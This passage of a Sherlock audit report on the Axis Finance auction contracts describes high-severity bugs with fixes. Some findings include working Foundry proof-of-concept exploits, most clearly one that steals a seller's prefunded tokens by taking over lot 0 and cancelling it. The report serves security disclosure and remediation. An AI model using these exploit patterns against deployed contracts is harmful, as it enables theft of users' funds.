SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for: Axis Finance
Prepared by: Sherlock
Lead Security Expert: hash
Dates Audited: March 18 - March 30, 2024
Prepared on: April 24, 2024

Introduction

Axis is a modular auction protocol. It supports abstract atomic or batch auction formats, which can be added to the central auction house as modules. Additionally, it allows creating and auctioning derivatives of the base asset in addition to spot tokens. Axis Origin is a product built on Axis that enables smart token launches with a combination of sealed bid batch auctions and fixed price sales with capped allowlists.

Scope

Repository: Axis-Fi/moonraker

Branch: master

Commit: 3cc44b63da95a41616617300bca24a159ad6a52b

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
8	10

Issues not fixed or acknowledged

Medium	High
0	0

Issue H-1: Malicious user can overtake a prefunded auction and steal the deposited funds

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/12

Found by

0xLogos, 0xboriskataa, 404666, 404Notfound, AgileJune, Bauer, Honour, JohnSmith, KiroBrejka, Kose, audithare, bhilare_, cu5t0mPe0, devblixt, dimulski, dinkras, ether_sky, flacko, hash, hulkvision, jecikpo, joicygiore, lemonmon, luxurioussauce, merlin, nine9, novaman33, petro1912, poslednaya, radin200, seeques, shaka, sl1, underdog

Summary

In the auction house whenever a new auction (lot) is created, its details are recorded at the 0th index in the `lotRouting` mapping. This allows for an attacker to create an auction right after an honest user and take over their auction, allowing them to steal funds in the case of a prefunded auction.

Vulnerability Detail

When a new auction is created via AuctionHouse#auction(), it's routing details are recorded directly in storage at `lotRouting[lotId]` where `lotId` is the return value of the `auction()` function itself. Since the return value is declared as a variable at the function signature level, it is initialized with the value of `0`.

This means that when the `routing` storage variable is declared (`Routing storage routing = lotRouting[lotId];`) it will always point to `lotRouting[0]` as the value of `lotId` is set a bit later in the `auction()` function to the correct index. This itself leads to the issue that an honest user can create a prefunded auction and an attacker can then come in, create a new auction themselves that is not prefunded and be immediately entitled to the honest user's prefunded funds by cancelling the auction they've just created as they're set as the `seller` of the lot at `lotRouting[0]`.

This attack is also possible because the `funding` attribute of a lot is only set if an auction is specified to be prefunded in its parameters at creation.

Impact

The following POC demonstrates how an attacker can overtake an honest user's auction and steal the funds they've pre-deposited. The attacker only needs to ensure the base token of the malicious auction they are creating is the same as the

one of the auction of the honest user. Once that's done, the attacker only needs to cancel the auction and the funds will be transferred to them.

To run the POC just create a file `AuctionHouseTest.t.sol` somewhere under the `./moonraker/test` directory, add `src=/src/` to **remappings.txt** and run it using `forge test --match-test test_overtake_auction_and_steal_prefunded_funds`.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

// Libraries
import {Test} from "forge-std/Test.sol";
import {ERC20} from 'solmate/tokens/ERC20.sol';

import 'src/modules/Modules.sol';
import {Auction} from 'src/modules/Auction.sol';

import {AuctionHouse} from 'src/AuctionHouse.sol';
import {FixedPriceAuctionModule} from 'src/modules/auctions/FPAM.sol';

contract AuctionHouseTest is Test {
  AuctionHouse public auctionHouse;
  FixedPriceAuctionModule public fixedPriceAuctionModule;

  address public OWNER = makeAddr('Owner');
  address public PROTOCOL = makeAddr('Protocol');
  address public PERMIT2 = makeAddr('Permit 2');

  MockERC20 public baseToken = new MockERC20("Base", "BASE", 18);
  MockERC20 public quoteToken = new MockERC20("Quote", "QUOTE", 18);

  function setUp() public {
    vm.warp(1710965574);
    auctionHouse = new AuctionHouse(OWNER, PROTOCOL, PERMIT2);
    fixedPriceAuctionModule = new FixedPriceAuctionModule(address(auctionHouse));

    vm.prank(OWNER);
    auctionHouse.installModule(fixedPriceAuctionModule);
  }

  function test_overtake_auction_and_steal_prefunded_funds() public {
    // Step 1
    uint256 PREFUNDED_AMOUNT = 1_000e18;
    address USER = makeAddr('User');
    vm.startPrank(USER);
    baseToken.mint(PREFUNDED_AMOUNT);
    baseToken.approve(address(auctionHouse), PREFUNDED_AMOUNT);
```

```
    AuctionHouse.RoutingParams memory routingParams;
    routingParams.auctionType =
↪   keycodeFromVeecode(fixedPriceAuctionModule.VEECODE());
    routingParams.baseToken = baseToken;
    routingParams.quoteToken = quoteToken;
    routingParams.prefunded = true;

    Auction.AuctionParams memory auctionParams;
    auctionParams.start = uint48(block.timestamp + 1 weeks);
    auctionParams.duration = 5 days;
    auctionParams.capacity = uint96(PREFUNDED_AMOUNT);
    auctionParams.implParams =
      abi.encode(FixedPriceAuctionModule.FixedPriceParams({price: 1e18,
↪   maxPayoutPercent: 100_000}));

    auctionHouse.auction(routingParams, auctionParams, "");

    // Step 2
    address ATTACKER = makeAddr('Attacker');
    vm.startPrank(ATTACKER);

    routingParams.prefunded = false;
    auctionHouse.auction(routingParams, auctionParams, "");

    // ATTACKER is now the seller of the lot at lotRouting[0]; the lot's funding
↪   remains the same
    auctionHouse.cancel(0, "");

    assertEq(baseToken.balanceOf(ATTACKER), PREFUNDED_AMOUNT);
    assertEq(baseToken.balanceOf(USER), 0);
  }
}

contract MockERC20 is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) ERC20(_name, _symbol, _decimals) {}

    function mint(uint256 amount) public {
      _mint(msg.sender, amount);
    }
}
```

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/bases/Auctioneer.sol#L160-L164 https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/bases/Auctioneer.sol#L174 https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/bases/Auctioneer.sol#L194 https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/bases/Auctioneer.sol#L211-L212

Tool used

Manual Review Foundry Forge

Recommendation

```
diff --git a/moonraker/src/bases/Auctioneer.sol
↪  b/moonraker/src/bases/Auctioneer.sol
index a77585b..48c39d5 100644
--- a/moonraker/src/bases/Auctioneer.sol
+++ b/moonraker/src/bases/Auctioneer.sol
@@ -171,6 +171,9 @@ abstract contract Auctioneer is WithModules, ReentrancyGuard
↪  {
             revert InvalidParams();
         }

+        // Increment lot count and get ID
+        lotId = lotCounter++;
+
         Routing storage routing = lotRouting[lotId];

         bool requiresPrefunding;
@@ -190,9 +193,6 @@ abstract contract Auctioneer is WithModules, ReentrancyGuard
↪  {
                     || baseTokenDecimals > 18 || quoteTokenDecimals < 6 ||
↪  quoteTokenDecimals > 18
             ) revert InvalidParams();

-            // Increment lot count and get ID
-            lotId = lotCounter++;
-
             // Call module auction function to store implementation-specific
↪  data
             (lotCapacity) =
                 auctionModule.auction(lotId, params_, quoteTokenDecimals,
↪  baseTokenDecimals);
```

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/132

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#132

Fixed Latest lotId is read before usage

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-2: [M-1]

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/21

Found by

Aymen0909, KiroBrejka, ether_sky, novaman33, sl1

Summary

Seller's funds may remain locked in the protocol, because of revert on 0 transfer tokens. In the README.md file is stated that the protocol uses every token with ERC20 Metadata and decimals between 6-18, which includes some revert on 0 transfer tokens, so this should be considered as valid issue!

Vulnerability Detail

in the `AuctionHouse::claimProceeds()` function there is the following block of code:

```
uint96 prefundingRefund = routing.funding + payoutSent_ - sold_;
 unchecked {
     routing.funding -= prefundingRefund;
 }
 Transfer.transfer(
     routing.baseToken,
     _getAddressGivenCallbackBaseTokenFlag(routing.callbacks, routing.seller),
     prefundingRefund,
     false
 );
```

Since the batch auctions must be prefunded so `routing.funding` shouldn't be zero unless all the tokens were sent in settle, in which case `payoutSent` will equal `sold_`. From this we make the conclusion that it is possible for `prefundingRefund` to be equal to 0. This means if the `routing.baseToken` is a revert on 0 transfer token the seller will never be able to get the `quoteToken` he should get from the auction.

Impact

The seller's funds remain locked in the system and he will never be able to get them back.

Code Snippet

The problematic block of code in the `AuctionHouse::claimProceeds()` function: https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/AuctionHouse.sol#L604-L613

`Transfer::transfer()` function, since it transfers the `baseToken`: https://github.com/sherlock-audit/2024-03-axis-finance/blob/main/moonraker/src/lib/Transfer.sol#L49-L68

Tool used

Manual Review

Recommendation

Check if the `prefundingRefund > 0` like this:

```
   function claimProceeds(
        uint96 lotId_,
        bytes calldata callbackData_
    ) external override nonReentrant {
        // Validation
        _isLotValid(lotId_);

        // Call auction module to validate and update data
        (uint96 purchased_, uint96 sold_, uint96 payoutSent_) =
            _getModuleForId(lotId_).claimProceeds(lotId_);

        // Load data for the lot
        Routing storage routing = lotRouting[lotId_];

        // Calculate the referrer and protocol fees for the amount in
        // Fees are not allocated until the user claims their payout so that we
↪   don't have to iterate through them here
        // If a referrer is not set, that portion of the fee defaults to the
↪   protocol
        uint96 totalInLessFees;
        {
            (, uint96 toProtocol) = calculateQuoteFees(
                lotFees[lotId_].protocolFee, lotFees[lotId_].referrerFee, false,
↪   purchased_
            );
            unchecked {
                totalInLessFees = purchased_ - toProtocol;
            }
        }
```

```
        // Send payment in bulk to the address dictated by the callbacks address
        // If the callbacks contract is configured to receive quote tokens, send
↪   the quote tokens to the callbacks contract and call the onClaimProceeds
↪   callback
        // If not, send the quote tokens to the seller and call the
↪   onClaimProceeds callback
        _sendPayment(routing.seller, totalInLessFees, routing.quoteToken,
↪   routing.callbacks);

        // Refund any unused capacity and curator fees to the address dictated
↪   by the callbacks address
        // By this stage, a partial payout (if applicable) and curator fees have
↪   been paid, leaving only the payout amount (`totalOut`) remaining.
        uint96 prefundingRefund = routing.funding + payoutSent_ - sold_;
++ if(prefundingRefund > 0) {
        unchecked {
            routing.funding -= prefundingRefund;
        }
            Transfer.transfer(
            routing.baseToken,
            _getAddressGivenCallbackBaseTokenFlag(routing.callbacks,
↪   routing.seller),
            prefundingRefund,
            false
        );
++        }


        // Call the onClaimProceeds callback
        Callbacks.onClaimProceeds(
            routing.callbacks, lotId_, totalInLessFees, prefundingRefund,
↪   callbackData_
        );
    }
```

Discussion

nevillehuang

#21, #31 and #112 highlights the same issue of `prefundingRefund = 0`

#78 and #97 highlights the same less likely issue of `totalInLessFees = 0`

All points to same underlying root cause of such tokens not allowing transfer of zero, so duplicating them. Although this involves a specific type of ERC20, the impact could be significant given seller's fund would be locked permanently

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/142

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#142

Fixed Now Transfer library only transfers token if amount > 0

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-3: Module's gas yield can never be claimed and all yield will be lost

Source:
https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/26

Found by

Aymen0909, ether_sky, hash, irresponsible, merlin, no, sl1

Summary

Module's gas yield can never be claimed

Vulnerability Detail

The protocol is meant to be deployed on blast, meaning that the gas and ether balance accrue yield.

By default these yield settings for both ETH and GAS yields are set to VOID as default, meaning that unless we configure the yield mode to claimable, we will be unable to recieve the yield. The protocol never sets gas to claimable for the modules, and the governor of the contract is the auction house, the auction house also does not implement any function to set the modules gas yield to claimable.

```
constructor(address auctionHouse_) LinearVesting(auctionHouse_)
↪  BlastGas(auctionHouse_) {}
```

The constructor of both BlastLinearVesting and BlastEMPAM set the auction house here `BlastGas(auctionHouse_)` if we look at this contract we can observe the above.

BlastGas.sol

```
constructor(address parent_) {
    // Configure governor to claim gas fees
    IBlast(0x4300000000000000000000000000000000000002).configureGovernor(parent_
↪  );
}
```

As we can see above, the governor is set in constructor, but we never set gas to claimable. Gas yield mode will be in its default mode which is VOID, the modules will not accue gas yields. Since these modules never set gas yield mode to claimable, the auction house cannot claim any gas yield for either of the contracts. Additionally the auction house includes no function to configure yield mode, the

auction house contract only has a function to claim the gas yield but this will revert since the yield mode for these module contracts will be VOID.

Impact

Gas yields will never acrue and the yield will forever be lost

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/blast/modules/BlastGas.sol#L11

Tool used

Manual Review

Recommendation

change the following in BlastGas contract, this will set the gas yield of the modules to claimable in the constructor and allowing the auction house to claim gas yield.

```
interface IBlast {
   function configureGovernor(address governor_) external;
   function configureClaimableGas() external;
}

abstract contract BlastGas {
    // ========== CONSTRUCTOR ========== //

    constructor(address parent_) {
        // Configure governor to claim gas fees

↪   IBlast(0x4300000000000000000000000000000000000002).configureClaimableGas();
       IBlast(0x4300000000000000000000000000000000000002).configureGovernor(pare
↪   nt_);
    }
}
```

Discussion

nevillehuang

Valid, due to this comment within the contract indicating interest in claiming gas yield but it can never be claimed

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/144

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#144

Fixed Now `configureClaimableGa()` is invoked inside constructor

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-4: Auction creators have the ability to lock bidders' funds.

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/66

Found by

KiroBrejka, ether_sky, hash, jecikpo, lemonmon, novaman33, qbs, sl1, underdog

Summary

`Auction creators` have the ability to cancel an `auction` before it starts. However, once the `auction` begins, they should not be allowed to cancel it. During the `auction`, `bidders` can place `bids` and send `quote` tokens to the `auction house`. After the `auction` concludes, `bidders` can either receive `base` tokens or retrieve their `quote` tokens. Unfortunately, `batch auction creators` can cancel an `auction` when it ends. This means that `auction creators` can cancel their `auctions` if they anticipate `losses`. This should not be allowed. The significant risk is that `bidders' funds` could become locked in the `auction house`.

Vulnerability Detail

`Auction creators` can not cancel an `auction` once it concludes.

```
function cancelAuction(uint96 lotId_) external override onlyInternal {
    _revertIfLotConcluded(lotId_);
}
```

They also can not cancel it while it is active.

```
function _cancelAuction(uint96 lotId_) internal override {
    _revertIfLotActive(lotId_);

    auctionData[lotId_].status = Auction.Status.Claimed;
}
```

When the `block.timestamp` aligns with the `conclusion` time of the `auction`, we can bypass these checks.

```
function _revertIfLotConcluded(uint96 lotId_) internal view virtual {
    if (lotData[lotId_].conclusion < uint48(block.timestamp)) {
        revert Auction_MarketNotActive(lotId_);
    }
```

```
    if (lotData[lotId_].capacity == 0) revert Auction_MarketNotActive(lotId_);
}
function _revertIfLotActive(uint96 lotId_) internal view override {
    if (
        auctionData[lotId_].status == Auction.Status.Created
            && lotData[lotId_].start <= block.timestamp
            && lotData[lotId_].conclusion > block.timestamp
    ) revert Auction_WrongState(lotId_);
}
```

So `Auction creators` can cancel an `auction` when it concludes. Then the `capacity` becomes `0` and the `auction status` transitions to `Claimed`.

`Bidders` can not `refund` their `bids`.

```
function refundBid(
    uint96 lotId_,
    uint64 bidId_,
    address caller_
) external override onlyInternal returns (uint96 refund) {
    _revertIfLotConcluded(lotId_);
}
 function _revertIfLotConcluded(uint96 lotId_) internal view virtual {
    if (lotData[lotId_].capacity == 0) revert Auction_MarketNotActive(lotId_);
}
```

The only way for `bidders` to reclaim their tokens is by calling the `claimBids` function. However, `bidders` can only claim `bids` when the `auction status` is `Settled`.

```
function claimBids(
    uint96 lotId_,
    uint64[] calldata bidIds_
) {
    _revertIfLotNotSettled(lotId_);
}
```

To `settle` the `auction`, the `auction status` should be `Decrypted`. This requires submitting the `private key`. The `auction creator` can not submit the `private key` or submit it without decrypting any `bids` by calling `submitPrivateKey(lotId, privateKey, 0)`. Then nobody can decrypt the `bids` using the `decryptAndSortBids` function which always reverts.

```
function decryptAndSortBids(uint96 lotId_, uint64 num_) external {
    if (
        auctionData[lotId_].status != Auction.Status.Created     // @audit, here
```

```
            || auctionData[lotId_].privateKey == 0
    ) {
        revert Auction_WrongState(lotId_);
    }

    _decryptAndSortBids(lotId_, num_);
}
```

As a result, the `auction status` remains unchanged, preventing it from transitioning to `Settled`. This leaves the `bidders' quote` tokens locked in the `auction house`.

Please add below test to the `test/modules/Auction/cancel.t.sol`.

```
function test_cancel() external whenLotIsCreated {
    Auction.Lot memory lot = _mockAuctionModule.getLot(_lotId);

    console2.log("lot.conclusion before   ==> ", lot.conclusion);
    console2.log("block.timestamp before  ==> ", block.timestamp);
    console2.log("isLive                  ==> ",
↪   _mockAuctionModule.isLive(_lotId));

    vm.warp(lot.conclusion - block.timestamp + 1);
    console2.log("lot.conclusion after    ==> ", lot.conclusion);
    console2.log("block.timestamp after   ==> ", block.timestamp);
    console2.log("isLive                  ==> ",
↪   _mockAuctionModule.isLive(_lotId));

    vm.prank(address(_auctionHouse));
    _mockAuctionModule.cancelAuction(_lotId);
}
```

The log is

```
lot.conclusion before   ==>  86401
block.timestamp before  ==>  1
isLive                  ==>  true
lot.conclusion after    ==>  86401
block.timestamp after   ==>  86401
isLive                  ==>  false
```

Impact

Users' funds can be locked.

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/Auction.sol#L354
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/auctions/EMPAM.sol#L204
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/Auction.sol#L512
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/Auction.sol#L556
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/auctions/EMPAM.sol#L449

Tool used

Manual Review

Recommendation

```
function _revertIfLotConcluded(uint96 lotId_) internal view virtual {
-     if (lotData[lotId_].conclusion < uint48(block.timestamp)) {
+     if (lotData[lotId_].conclusion <= uint48(block.timestamp)) {
        revert Auction_MarketNotActive(lotId_);
    }

    // Capacity is sold-out, or cancelled
    if (lotData[lotId_].capacity == 0) revert Auction_MarketNotActive(lotId_);
}
```

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/105

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#105

Fixed start and conclusion timestamps of auction is now made consistent across all functions

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-5: Bidders can not claim their bids if the auction creator claims the proceeds.

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/67

Found by

cu5t0mPe0, ether_sky, hash, jecikpo, joicygiore, novaman33

Summary

Before the `batch auction` begins, the `auction creator` should `prefund` `base` tokens to the `auction house`. During the `auction`, `bidders` transfer `quote` tokens to the `auction house`. After the `auction` settles,

- `Bidders` can claim their `bids` and either to receive `base` tokens or `retrieve` their `quote` tokens.
- The `auction creator` can receive the `quote` tokens and retrieve the remaining `base` tokens.
- There is no specific order for these two operations.

However, if the `auction creator` claims the `proceeds`, `bidders` can not claim their `bids` anymore. Consequently, their `funds` will remain locked in the `auction house`.

Vulnerability Detail

When the `auction creator` claims `Proceeds`, the `auction status` changes to `Claimed`.

```
function _claimProceeds(uint96 lotId_)
    internal
    override
    returns (uint96 purchased, uint96 sold, uint96 payoutSent)
{
    auctionData[lotId_].status = Auction.Status.Claimed;
}
```

Once the `auction status` has transitioned to `Claimed`, there is indeed no way to change it back to `Settled`.

However, `bidders` can only claim their `bids` when the `auction status` is `Settled`.

```
function claimBids(
    uint96 lotId_,
```

```
    uint64[] calldata bidIds_
)
    external
    override
    onlyInternal
    returns (BidClaim[] memory bidClaims, bytes memory auctionOutput)
{
    _revertIfLotInvalid(lotId_);
    _revertIfLotNotSettled(lotId_);   // @audit, here

    return _claimBids(lotId_, bidIds_);
}
```

Please add below test to the `test/modules/auctions/claimBids.t.sol`.

```
function test_claimProceeds_before_claimBids()
    external
    givenLotIsCreated
    givenLotHasStarted
    givenBidIsCreated(_BID_AMOUNT_UNSUCCESSFUL, _BID_AMOUNT_OUT_UNSUCCESSFUL)
    givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)
    givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)
    givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)
    givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)
    givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)
    givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)
    givenLotHasConcluded
    givenPrivateKeyIsSubmitted
    givenLotIsDecrypted
    givenLotIsSettled
{
    uint64 bidId = 1;

    uint64[] memory bidIds = new uint64[](1);
    bidIds[0] = bidId;

    // Call the function
    vm.prank(address(_auctionHouse));
    _module.claimProceeds(_lotId);


    bytes memory err = abi.encodeWithSelector(EncryptedMarginalPriceAuctionModul
↪   e.Auction_WrongState.selector, _lotId);
    vm.expectRevert(err);
    vm.prank(address(_auctionHouse));
    _module.claimBids(_lotId, bidIds);
```

```
}
```

Impact

Users' funds could be locked.

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/auctions/EMPAM.sol#L846
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/Auction.sol#L556

Tool used

Manual Review

Recommendation

Allow `bidders` to claim their `bids` even when the `auction status` is `Claimed`.

Discussion

Oighty

Duplicate of #18

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/139

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#139

Fixed The claimed status is replaced with a boolean. Hence the status of a settled auction will now always remain settled

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-6: Bidders' funds may become locked due to inconsistent price order checks in MaxPriorityQueue and the _claimBid function.

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/83

Found by

ether_sky

Summary

In the `MaxPriorityQueue`, `bids` are ordered by decreasing `price`. We calculate the `marginal price`, `marginal bid ID`, and determine the `auction winners`. When a `bidder` wants to claim, we verify that the `bid price` of this `bidder` exceeds the `marginal price`. However, there's minor inconsistency: certain `bids` may have `marginal price` and a smaller `bid ID` than `marginal bid ID` and they are not actually `winners`. As a result, the `auction winners` and these `bidders` can receive `base` tokens. However, there is a finite supply of `base` tokens for `auction winners`. Early `bidders` who claim can receive `base` tokens, but the last `bidders` can not.

Vulnerability Detail

The comparison for the order of `bids` in the `MaxPriorityQueue` is as follow: if `q1 * b2 < q2 * b1` then `bid (q2, b2)` takes precedence over `bid (q1, b1)`.

```
function _isLess(Queue storage self, uint256 i, uint256 j) private view returns
↪  (bool) {
    uint64 iId = self.bidIdList[i];
    uint64 jId = self.bidIdList[j];
    Bid memory bidI = self.idToBidMap[iId];
    Bid memory bidJ = self.idToBidMap[jId];
    uint256 relI = uint256(bidI.amountIn) * uint256(bidJ.minAmountOut);
    uint256 relJ = uint256(bidJ.amountIn) * uint256(bidI.minAmountOut);
    if (relI == relJ) {
        return iId > jId;
    }
    return relI < relJ;
}
```

And in the `_calimBid` function, the `price` is checked directly as follow: if `q * 10 ** baseDecimal / b >= marginal price`, then this `bid` can be claimed.

```
function _claimBid(
    uint96 lotId_,
    uint64 bidId_
) internal returns (BidClaim memory bidClaim, bytes memory auctionOutput_) {
    uint96 price = uint96(
        bidData.minAmountOut == 0
            ? 0 // TODO technically minAmountOut == 0 should be an infinite
↪   price, but need to check that later. Need to be careful we don't introduce a
↪   way to claim a bid when we set marginalPrice to type(uint96).max when it
↪   cannot be settled.
            : Math.mulDivUp(uint256(bidData.amount), baseScale,
↪   uint256(bidData.minAmountOut))
    );
    uint96 marginalPrice = auctionData[lotId_].marginalPrice;
    if (
        price > marginalPrice
            || (price == marginalPrice && bidId_ <=
↪   auctionData[lotId_].marginalBidId)
    ) { }
}
```

The issue is that a `bid` with the `marginal price` might being placed after `marginal bid` in the `MaxPriorityQueue` due to rounding.

```
q1 * b2 < q2 * b1, but mulDivUp(q1, 10 ** baseDecimal, b1) = mulDivUp(q2, 10 **
↪   baseDecimal, b2)
```

Let me take an example. The `capacity` is `10e18` and there are `6 bids` (`(4e18 + 1, 2e18)` for first `bidder`, `(4e18 + 2, 2e18)` for the other `bidders`. The order in the `MaxPriorityQueue` is `(2, 3, 4, 5, 6, 1)`. The `marginal bid ID` is `6`. The `marginal price` is `2e18 + 1`. The `auction winners` are `(2, 3, 4, 5, 6)`. However, `bidder 1` can also claim because it's `price` matches the `marginal price` and it has the smallest `bid ID`. There are only `10e18 base` tokens, but all `6 bidders` require `2e18 base` tokens. As a result, at least one `bidder` won't be able to claim `base` tokens, and his `quote` tokens will remain locked in the `auction house`.

The Log is

```
marginal price      ==>   2000000000000000001
marginal bid id     ==>   6

paid to bid  1        ==>   4000000000000000001
payout to bid  1      ==>   1999999999999999999
*****
paid to bid  2        ==>   4000000000000000002
```

```
payout to bid  2     ==>   2000000000000000000
*****
paid to bid  3       ==>   4000000000000000002
payout to bid  3     ==>   2000000000000000000
*****
paid to bid  4       ==>   4000000000000000002
payout to bid  4     ==>   2000000000000000000
*****
paid to bid  5       ==>   4000000000000000002
payout to bid  5     ==>   2000000000000000000
*****
paid to bid  6       ==>   4000000000000000002
payout to bid  6     ==>   2000000000000000000
```

Please add below test to the `test/modules/auctions/EMPA/claimBids.t.sol`

```
function test_claim_nonClaimable_bid()
    external
    givenLotIsCreated
    givenLotHasStarted
    givenBidIsCreated(4e18 + 1, 2e18)           // bidId = 1
    givenBidIsCreated(4e18 + 2, 2e18)           // bidId = 2
    givenBidIsCreated(4e18 + 2, 2e18)           // bidId = 3
    givenBidIsCreated(4e18 + 2, 2e18)           // bidId = 4
    givenBidIsCreated(4e18 + 2, 2e18)           // bidId = 5
    givenBidIsCreated(4e18 + 2, 2e18)           // bidId = 6
    givenLotHasConcluded
    givenPrivateKeyIsSubmitted
    givenLotIsDecrypted
    givenLotIsSettled
{
    EncryptedMarginalPriceAuctionModule.AuctionData memory auctionData =
↪   _getAuctionData(_lotId);

    console2.log('marginal price     ==>  ', auctionData.marginalPrice);
    console2.log('marginal bid id    ==>  ', auctionData.marginalBidId);
    console2.log('');

    for (uint64 i; i < 6; i ++) {
        uint64[] memory bidIds = new uint64[](1);
        bidIds[0] = i + 1;
        vm.prank(address(_auctionHouse));
        (Auction.BidClaim[] memory bidClaims,) = _module.claimBids(_lotId,
↪   bidIds);
        Auction.BidClaim memory bidClaim = bidClaims[0];
        if (i > 0) {
```

```
            console2.log('*****');
        }
        console2.log('paid to bid ', i + 1, '      ==>  ', bidClaim.paid);
        console2.log('payout to bid ', i + 1, '    ==>  ', bidClaim.payout);
    }
}
```

Impact

Code Snippet

https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/lib/MaxPriorityQueue.sol#L109-L120 https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/auctions/EMPAM.sol#L347-L350

Tool used

Manual Review

Recommendation

In the `MaxPriorityQueue`, we should check the `price`: `Math.mulDivUp(q, 10 ** baseDecimal, b)`.

Discussion

Oighty

Believe this is valid due to bids below marginal price being able to claim, which would result in a winning bidder not receiving theirs. Need to think about the remediation a bit more. There are some other precision issues with the rounding up.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Axis-Fi/moonraker/pull/146

10xhash

> The protocol team fixed this issue in the following PRs/commits:
> Axis-Fi/moonraker#146

Fixed Now same computation is used for queue and marginal price calculations

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-7: Overflow in curate() function, results in permanently stuck funds

Source: https://github.com/sherlock-audit/2024-03-axis-finance-judging/issues/88

Found by

dimulski, merlin

Summary

The `Axis-Finance` protocol has a curate() function that can be used to set a certain fee to a curator set by the seller for a certain auction. Typically, a curator is providing some service to an auction seller to help the sale succeed. This could be doing diligence on the project and `vouching` for them, or something simpler, such as listing the auction on a popular interface. A lot of memecoins have a big supply in the trillions, for example SHIBA INU has a total supply of nearly **1000 trillion tokens** and each token has 18 decimals. With a lot of new memecoins emerging every day due to the favorable bullish conditions and having supply in the trillions, it is safe to assume that such protocols will interact with the `Axis-Finance` protocol. Creating auctions for big amounts, and promising big fees to some celebrities or influencers to promote their project. The funding parameter in the **Routing struct** is of type `uint96`

```
struct Routing {
    ...
    uint96 funding;
    ...
}
```

The max amount of tokens with 18 decimals a `uint96` variable can hold is around 80 billion. The problem arises in the curate() function, If the auction is prefunded, which all batch auctions are(a normal **FPAM** auction can also be prefunded), and the amount of prefunded tokens is big enough, close to **80 billion tokens with 18 decimals**, and the curator fee is for example **7.5%**, when the `curatorFeePayout` is added to the current funding, the funding will overflow.

```
unchecked {
   routing.funding += curatorFeePayout;
}
```

Vulnerability Detail

Gist After following the steps in the above mentioned gist, add the following test to the `AuditorTests.t.sol`

```
function test_CuratorFeeOverflow() public {
        vm.startPrank(alice);
        Veecode veecode = fixedPriceAuctionModule.VEECODE();
        Keycode keycode = keycodeFromVeecode(veecode);
        bytes memory _derivativeParams = "";
        uint96 lotCapacity = 75_000_000_000e18; // this is 75 billion tokens
